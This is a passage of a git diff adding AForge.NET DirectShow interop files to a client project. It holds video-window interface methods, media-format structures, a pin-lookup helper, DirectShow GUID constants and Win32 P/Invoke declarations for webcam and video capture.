HRESULT error code. + /// + [PreserveSig] + int get_WindowStyleEx( out int windowStyleEx ); + + /// + /// Specifies whether the video renderer automatically shows the video window when it receives video data. + /// + /// + /// Specifies whether the video renderer automatically shows the video window. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_AutoShow( [In, MarshalAs( UnmanagedType.Bool )] bool autoShow ); + + /// + /// Queries whether the video renderer automatically shows the video window when it receives video data. + /// + /// + /// REceives window auto show flag. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_AutoShow( [Out, MarshalAs( UnmanagedType.Bool )] out bool autoShow ); + + /// + /// Shows, hides, minimizes, or maximizes the video window. + /// + /// + /// Window state. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_WindowState( int windowState ); + + /// + /// Queries whether the video window is visible, hidden, minimized, or maximized. + /// + /// + /// Window state. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_WindowState( out int windowState ); + + /// + /// Specifies whether the video window realizes its palette in the background. + /// + /// + /// Value that specifies whether the video renderer realizes it palette in the background. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_BackgroundPalette( [In, MarshalAs( UnmanagedType.Bool )] bool backgroundPalette ); + + /// + /// Queries whether the video window realizes its palette in the background. + /// + /// + /// Receives state of background palette flag. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_BackgroundPalette( [Out, MarshalAs( UnmanagedType.Bool )] out bool backgroundPalette ); + + /// + /// Shows or hides the video window. + /// + /// + /// Value that specifies whether to show or hide the window. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_Visible( [In, MarshalAs( UnmanagedType.Bool )] bool visible ); + + /// + /// Queries whether the video window is visible. + /// + /// + /// Visibility flag. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_Visible( [Out, MarshalAs( UnmanagedType.Bool )] out bool visible ); + + /// + /// Sets the video window's x-coordinate. + /// + /// + /// Specifies the x-coordinate, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_Left( int left ); + + /// + /// Retrieves the video window's x-coordinate. + /// + /// + /// x-coordinate, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_Left( out int left ); + + /// + /// Sets the width of the video window. + /// + /// + /// Specifies the width, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_Width( int width ); + + /// + /// Retrieves the width of the video window. + /// + /// + /// Width, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_Width( out int width ); + + /// + /// Sets the video window's y-coordinate. + /// + /// + /// Specifies the y-coordinate, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_Top( int top ); + + /// + /// Retrieves the video window's y-coordinate. + /// + /// + /// y-coordinate, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_Top( out int top ); + + /// + /// Sets the height of the video window. + /// + /// + /// Specifies the height, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_Height( int height ); + + /// + /// Retrieves the height of the video window. + /// + /// + /// Height, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_Height( out int height ); + + /// + /// Specifies a parent window for the video windowþ + /// + /// + /// Specifies a handle to the parent window. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_Owner( IntPtr owner ); + + /// + /// Retrieves the video window's parent window, if anyþ + /// + /// + /// Parent window's handle. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_Owner( out IntPtr owner ); + + /// + /// Specifies a window to receive mouse and keyboard messages from the video window. + /// + /// + /// Specifies a handle to the window. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_MessageDrain( IntPtr drain ); + + /// + /// Retrieves the window that receives mouse and keyboard messages from the video window, if any. + /// + /// + /// Window's handle. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_MessageDrain( out IntPtr drain ); + + /// + /// Retrieves the color that appears around the edges of the destination rectangle. + /// + /// + /// Border's color. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_BorderColor( out int color ); + + /// + /// Sets the color that appears around the edges of the destination rectangle. + /// + /// + /// Specifies the border color. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_BorderColor( int color ); + + /// + /// Queries whether the video renderer is in full-screen mode. + /// + /// + /// Full-screen mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_FullScreenMode( + [Out, MarshalAs( UnmanagedType.Bool )] out bool fullScreenMode ); + + /// + /// Enables or disables full-screen mode. + /// + /// + /// Boolean value that specifies whether to enable or disable full-screen mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int put_FullScreenMode( [In, MarshalAs( UnmanagedType.Bool )] bool fullScreenMode ); + + /// + /// Places the video window at the top of the Z order. + /// + /// + /// Value that specifies whether to give the window focus. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetWindowForeground( int focus ); + + /// + /// Forwards a message to the video window. + /// + /// + /// Handle to the window. + /// Specifies the message. + /// Message parameter. + /// Message parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int NotifyOwnerMessage( IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam ); + + /// + /// Sets the position of the video windowþ + /// + /// + /// Specifies the x-coordinate, in pixels. + /// Specifies the y-coordinate, in pixels. + /// Specifies the width, in pixels. + /// Specifies the height, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetWindowPosition( int left, int top, int width, int height ); + + /// + /// Retrieves the position of the video window. + /// + /// + /// x-coordinate, in pixels. + /// y-coordinate, in pixels. + /// Width, in pixels. + /// Height, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetWindowPosition( out int left, out int top, out int width, out int height ); + + /// + /// Retrieves the minimum ideal size for the video image. + /// + /// + /// Receives the minimum ideal width, in pixels. + /// Receives the minimum ideal height, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMinIdealImageSize( out int width, out int height ); + + /// + /// Retrieves the maximum ideal size for the video image. + /// + /// + /// Receives the maximum ideal width, in pixels. + /// Receives the maximum ideal height, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMaxIdealImageSize( out int width, out int height ); + + /// + /// Retrieves the restored window position. + /// + /// + /// x-coordinate, in pixels. + /// y-coordinate, in pixels. + /// Width, in pixels. + /// Height, in pixels. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetRestorePosition( out int left, out int top, out int width, out int height ); + + /// + /// Hides the cursor. + /// + /// + /// Specifies whether to hide or display the cursor. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int HideCursor( [In, MarshalAs( UnmanagedType.Bool )] bool hideCursor ); + + /// + /// Queries whether the cursor is hidden. + /// + /// + /// Specifies if cursor is hidden or not. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int IsCursorHidden( [Out, MarshalAs( UnmanagedType.Bool )] out bool hideCursor ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/Structures.cs b/Client/Core/AForge/Video.DirectShow/Internals/Structures.cs new file mode 100644 index 000000000..530283c37 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/Structures.cs @@ -0,0 +1,518 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Drawing; + + // PIN_DIRECTION + + /// + /// This enumeration indicates a pin's direction. + /// + /// + [ComVisible( false )] + internal enum PinDirection + { + /// + /// Input pin. + /// + Input, + + /// + /// Output pin. + /// + Output + } + + // AM_MEDIA_TYPE + + /// + /// The structure describes the format of a media sample. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal class AMMediaType : IDisposable + { + /// + /// Globally unique identifier (GUID) that specifies the major type of the media sample. + /// + public Guid MajorType; + + /// + /// GUID that specifies the subtype of the media sample. + /// + public Guid SubType; + + /// + /// If true, samples are of a fixed size. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool FixedSizeSamples = true; + + /// + /// If true, samples are compressed using temporal (interframe) compression. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool TemporalCompression; + + /// + /// Size of the sample in bytes. For compressed data, the value can be zero. + /// + public int SampleSize = 1; + + /// + /// GUID that specifies the structure used for the format block. + /// + public Guid FormatType; + + /// + /// Not used. + /// + public IntPtr unkPtr; + + /// + /// Size of the format block, in bytes. + /// + public int FormatSize; + + /// + /// Pointer to the format block. + /// + public IntPtr FormatPtr; + + /// + /// Destroys the instance of the class. + /// + /// + ~AMMediaType( ) + { + Dispose( false ); + } + + /// + /// Dispose the object. + /// + /// + public void Dispose( ) + { + Dispose( true ); + // remove me from the Finalization queue + GC.SuppressFinalize( this ); + } + + /// + /// Dispose the object + /// + /// + /// Indicates if disposing was initiated manually. + /// + protected virtual void Dispose( bool disposing ) + { + if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) + { + Marshal.FreeCoTaskMem( FormatPtr ); + FormatSize = 0; + } + + if ( unkPtr != IntPtr.Zero ) + { + Marshal.Release( unkPtr ); + unkPtr = IntPtr.Zero; + } + } + } + + + // PIN_INFO + + /// + /// The structure contains information about a pin. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct PinInfo + { + /// + /// Owning filter. + /// + public IBaseFilter Filter; + + /// + /// Direction of the pin. + /// + public PinDirection Direction; + + /// + /// Name of the pin. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + } + + // FILTER_INFO + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct FilterInfo + { + /// + /// Filter's name. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + + /// + /// Owning graph. + /// + public IFilterGraph FilterGraph; + } + + // VIDEOINFOHEADER + + /// + /// The structure describes the bitmap and color information for a video image. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + // VIDEOINFOHEADER2 + + /// + /// The structure describes the bitmap and color information for a video image (v2). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader2 + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// Flags that specify how the video is interlaced. + /// + public int InterlaceFlags; + + /// + /// Flag set to indicate that the duplication of the stream should be restricted. + /// + public int CopyProtectFlags; + + /// + /// The X dimension of picture aspect ratio. + /// + public int PictAspectRatioX; + + /// + /// The Y dimension of picture aspect ratio. + /// + public int PictAspectRatioY; + + /// + /// Reserved for future use. + /// + public int Reserved1; + + /// + /// Reserved for future use. + /// + public int Reserved2; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + /// + /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 2 )] + internal struct BitmapInfoHeader + { + /// + /// Specifies the number of bytes required by the structure. + /// + public int Size; + + /// + /// Specifies the width of the bitmap. + /// + public int Width; + + /// + /// Specifies the height of the bitmap, in pixels. + /// + public int Height; + + /// + /// Specifies the number of planes for the target device. This value must be set to 1. + /// + public short Planes; + + /// + /// Specifies the number of bits per pixel. + /// + public short BitCount; + + /// + /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. + /// + public int Compression; + + /// + /// Specifies the size, in bytes, of the image. + /// + public int ImageSize; + + /// + /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. + /// + public int XPelsPerMeter; + + /// + /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. + /// + public int YPelsPerMeter; + + /// + /// Specifies the number of color indices in the color table that are actually used by the bitmap. + /// + public int ColorsUsed; + + /// + /// Specifies the number of color indices that are considered important for displaying the bitmap. + /// + public int ColorsImportant; + } + + // RECT + + /// + /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct RECT + { + /// + /// Specifies the x-coordinate of the upper-left corner of the rectangle. + /// + public int Left; + + /// + /// Specifies the y-coordinate of the upper-left corner of the rectangle. + /// + public int Top; + + /// + /// Specifies the x-coordinate of the lower-right corner of the rectangle. + /// + public int Right; + + /// + /// Specifies the y-coordinate of the lower-right corner of the rectangle. + /// + public int Bottom; + } + + // CAUUID + + /// + /// The CAUUID structure is a Counted Array of UUID or GUID types. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct CAUUID + { + /// + /// Size of the array pointed to by pElems. + /// + public int cElems; + + /// + /// Pointer to an array of UUID values, each of which specifies UUID. + /// + public IntPtr pElems; + + /// + /// Performs manual marshaling of pElems to retrieve an array of Guid objects. + /// + /// + /// A managed representation of pElems. + /// + public Guid[] ToGuidArray( ) + { + Guid[] retval = new Guid[cElems]; + + for ( int i = 0; i < cElems; i++ ) + { + IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); + retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); + } + + return retval; + } + } + + /// + /// Enumeration of DirectShow event codes. + /// + internal enum DsEvCode + { + None, + Complete = 0x01, // EC_COMPLETE + DeviceLost = 0x1F, // EC_DEVICE_LOST + //(...) not yet interested in other events + } + + [Flags, ComVisible( false )] + internal enum AnalogVideoStandard + { + None = 0x00000000, // This is a digital sensor + NTSC_M = 0x00000001, // 75 IRE Setup + NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup + NTSC_433 = 0x00000004, + PAL_B = 0x00000010, + PAL_D = 0x00000020, + PAL_G = 0x00000040, + PAL_H = 0x00000080, + PAL_I = 0x00000100, + PAL_M = 0x00000200, + PAL_N = 0x00000400, + PAL_60 = 0x00000800, + SECAM_B = 0x00001000, + SECAM_D = 0x00002000, + SECAM_G = 0x00004000, + SECAM_H = 0x00008000, + SECAM_K = 0x00010000, + SECAM_K1 = 0x00020000, + SECAM_L = 0x00040000, + SECAM_L1 = 0x00080000, + PAL_N_COMBO = 0x00100000 // Argentina + } + + [Flags, ComVisible( false )] + internal enum VideoControlFlags + { + FlipHorizontal = 0x0001, + FlipVertical = 0x0002, + ExternalTriggerEnable = 0x0004, + Trigger = 0x0008 + } + + [StructLayout( LayoutKind.Sequential ), ComVisible( false )] + internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS + { + public Guid Guid; + public AnalogVideoStandard VideoStandard; + public Size InputSize; + public Size MinCroppingSize; + public Size MaxCroppingSize; + public int CropGranularityX; + public int CropGranularityY; + public int CropAlignX; + public int CropAlignY; + public Size MinOutputSize; + public Size MaxOutputSize; + public int OutputGranularityX; + public int OutputGranularityY; + public int StretchTapsX; + public int StretchTapsY; + public int ShrinkTapsX; + public int ShrinkTapsY; + public long MinFrameInterval; + public long MaxFrameInterval; + public int MinBitsPerSecond; + public int MaxBitsPerSecond; + } + + /// + /// Specifies a filter's state or the state of the filter graph. + /// + internal enum FilterState + { + /// + /// Stopped. The filter is not processing data. + /// + State_Stopped, + + /// + /// Paused. The filter is processing data, but not rendering it. + /// + State_Paused, + + /// + /// Running. The filter is processing and rendering data. + /// + State_Running + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/Tools.cs b/Client/Core/AForge/Video.DirectShow/Internals/Tools.cs new file mode 100644 index 000000000..0c9cc84a6 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/Tools.cs @@ -0,0 +1,95 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Some miscellaneous functions. + /// + /// + internal static class Tools + { + /// + /// Get filter's pin. + /// + /// + /// Filter to get pin of. + /// Pin's direction. + /// Pin's number. + /// + /// Returns filter's pin. + /// + public static IPin GetPin( IBaseFilter filter, PinDirection dir, int num ) + { + IPin[] pin = new IPin[1]; + IEnumPins pinsEnum = null; + + // enum filter pins + if ( filter.EnumPins( out pinsEnum ) == 0 ) + { + PinDirection pinDir; + int n; + + try + { + // get next pin + while ( pinsEnum.Next( 1, pin, out n ) == 0 ) + { + // query pin`s direction + pin[0].QueryDirection( out pinDir ); + + if ( pinDir == dir ) + { + if ( num == 0 ) + return pin[0]; + num--; + } + + Marshal.ReleaseComObject( pin[0] ); + pin[0] = null; + } + } + finally + { + Marshal.ReleaseComObject( pinsEnum ); + } + } + return null; + } + + /// + /// Get filter's input pin. + /// + /// + /// Filter to get pin of. + /// Pin's number. + /// + /// Returns filter's pin. + /// + public static IPin GetInPin( IBaseFilter filter, int num ) + { + return GetPin( filter, PinDirection.Input, num ); + } + + /// + /// Get filter's output pin. + /// + /// + /// Filter to get pin of. + /// Pin's number. + /// + /// Returns filter's pin. + /// + public static IPin GetOutPin( IBaseFilter filter, int num ) + { + return GetPin( filter, PinDirection.Output, num ); + } + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/Uuids.cs b/Client/Core/AForge/Video.DirectShow/Internals/Uuids.cs new file mode 100644 index 000000000..8dc187454 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/Uuids.cs @@ -0,0 +1,299 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow class IDs. + /// + [ComVisible( false )] + static internal class Clsid + { + /// + /// System device enumerator. + /// + /// + /// Equals to CLSID_SystemDeviceEnum. + /// + public static readonly Guid SystemDeviceEnum = + new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Filter graph. + /// + /// + /// Equals to CLSID_FilterGraph. + /// + public static readonly Guid FilterGraph = + new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Sample grabber. + /// + /// + /// Equals to CLSID_SampleGrabber. + /// + public static readonly Guid SampleGrabber = + new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); + + /// + /// Capture graph builder. + /// + /// + /// Equals to CLSID_CaptureGraphBuilder2. + /// + public static readonly Guid CaptureGraphBuilder2 = + new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// + /// Async reader. + /// + /// + /// Equals to CLSID_AsyncReader. + /// + public static readonly Guid AsyncReader = + new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow format types. + /// + /// + [ComVisible( false )] + static internal class FormatType + { + /// + /// VideoInfo. + /// + /// + /// Equals to FORMAT_VideoInfo. + /// + public static readonly Guid VideoInfo = + new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); + + /// + /// VideoInfo2. + /// + /// + /// Equals to FORMAT_VideoInfo2. + /// + public static readonly Guid VideoInfo2 = + new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + /// + /// DirectShow media types. + /// + /// + [ComVisible( false )] + static internal class MediaType + { + /// + /// Video. + /// + /// + /// Equals to MEDIATYPE_Video. + /// + public static readonly Guid Video = + new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Interleaved. Used by Digital Video (DV). + /// + /// + /// Equals to MEDIATYPE_Interleaved. + /// + public static readonly Guid Interleaved = + new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Audio. + /// + /// + /// Equals to MEDIATYPE_Audio. + /// + public static readonly Guid Audio = + new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Text. + /// + /// + /// Equals to MEDIATYPE_Text. + /// + public static readonly Guid Text = + new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Byte stream with no time stamps. + /// + /// + /// Equals to MEDIATYPE_Stream. + /// + public static readonly Guid Stream = + new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow media subtypes. + /// + /// + [ComVisible( false )] + static internal class MediaSubType + { + /// + /// YUY2 (packed 4:2:2). + /// + /// + /// Equals to MEDIASUBTYPE_YUYV. + /// + public static readonly Guid YUYV = + new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// IYUV. + /// + /// + /// Equals to MEDIASUBTYPE_IYUV. + /// + public static readonly Guid IYUV = + new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// A DV encoding format. (FOURCC 'DVSD') + /// + /// + /// Equals to MEDIASUBTYPE_DVSD. + /// + public static readonly Guid DVSD = + new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// RGB, 1 bit per pixel (bpp), palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB1. + /// + public static readonly Guid RGB1 = + new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 4 bpp, palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB4. + /// + public static readonly Guid RGB4 = + new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 8 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB8. + /// + public static readonly Guid RGB8 = + new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 565, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB565. + /// + public static readonly Guid RGB565 = + new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 555, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB555. + /// + public static readonly Guid RGB555 = + new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 24 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB24. + /// + public static readonly Guid RGB24 = + new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 32 bpp, no alpha channel. + /// + /// + /// Equals to MEDIASUBTYPE_RGB32. + /// + public static readonly Guid RGB32 = + new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Data from AVI file. + /// + /// + /// Equals to MEDIASUBTYPE_Avi. + /// + public static readonly Guid Avi = + new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Advanced Streaming Format (ASF). + /// + /// + /// Equals to MEDIASUBTYPE_Asf. + /// + public static readonly Guid Asf = + new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); + } + + /// + /// DirectShow pin categories. + /// + /// + [ComVisible( false )] + static internal class PinCategory + { + /// + /// Capture pin. + /// + /// + /// Equals to PIN_CATEGORY_CAPTURE. + /// + public static readonly Guid Capture = + new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + + /// + /// Still image pin. + /// + /// + /// Equals to PIN_CATEGORY_STILL. + /// + public static readonly Guid StillImage = + new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). + [ComVisible( false )] + static internal class FindDirection + { + /// Equals to LOOK_UPSTREAM_ONLY. + public static readonly Guid UpstreamOnly = + new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// Equals to LOOK_DOWNSTREAM_ONLY. + public static readonly Guid DownstreamOnly = + new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/Win32.cs b/Client/Core/AForge/Video.DirectShow/Internals/Win32.cs new file mode 100644 index 000000000..73d2e9092 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/Win32.cs @@ -0,0 +1,102 @@ +// AForge Video for Windows Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2007-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// Some Win32 API used internally. + /// + /// + internal static class Win32 + { + /// + /// Supplies a pointer to an implementation of IBindCtx (a bind context object). + /// This object stores information about a particular moniker-binding operation. + /// + /// + /// Reserved for future use; must be zero. + /// Address of IBindCtx* pointer variable that receives the + /// interface pointer to the new bind context object. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll" )] + public static extern + int CreateBindCtx( int reserved, out IBindCtx ppbc ); + + /// + /// Converts a string into a moniker that identifies the object named by the string. + /// + /// + /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. + /// Pointer to a zero-terminated wide character string containing the display name to be parsed. + /// Pointer to the number of characters of szUserName that were consumed. + /// Address of IMoniker* pointer variable that receives the interface pointer + /// to the moniker that was built from szUserName. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] + public static extern + int MkParseDisplayName( IBindCtx pbc, string szUserName, + ref int pchEaten, out IMoniker ppmk ); + + /// + /// Copy a block of memory. + /// + /// + /// Destination pointer. + /// Source pointer. + /// Memory block's length to copy. + /// + /// Return's the value of dst - pointer to destination. + /// + [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] + public static unsafe extern int memcpy( + byte* dst, + byte* src, + int count ); + + /// + /// Invokes a new property frame, that is, a property sheet dialog box. + /// + /// + /// Parent window of property sheet dialog box. + /// Horizontal position for dialog box. + /// Vertical position for dialog box. + /// Dialog box caption. + /// Number of object pointers in ppUnk. + /// Pointer to the objects for property sheet. + /// Number of property pages in lpPageClsID. + /// Array of CLSIDs for each property page. + /// Locale identifier for property sheet locale. + /// Reserved. + /// Reserved. + /// + /// Returns S_OK on success. + /// + [DllImport( "oleaut32.dll" )] + public static extern int OleCreatePropertyFrame( + IntPtr hwndOwner, + int x, + int y, + [MarshalAs( UnmanagedType.LPWStr )] string caption, + int cObjects, + [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] + ref object ppUnk, + int cPages, + IntPtr lpPageClsID, + int lcid, + int dwReserved, + IntPtr lpvReserved ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/PhysicalConnectorType.cs b/Client/Core/AForge/Video.DirectShow/PhysicalConnectorType.cs new file mode 100644 index 000000000..365a7c3c0 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/PhysicalConnectorType.cs @@ -0,0 +1,123 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 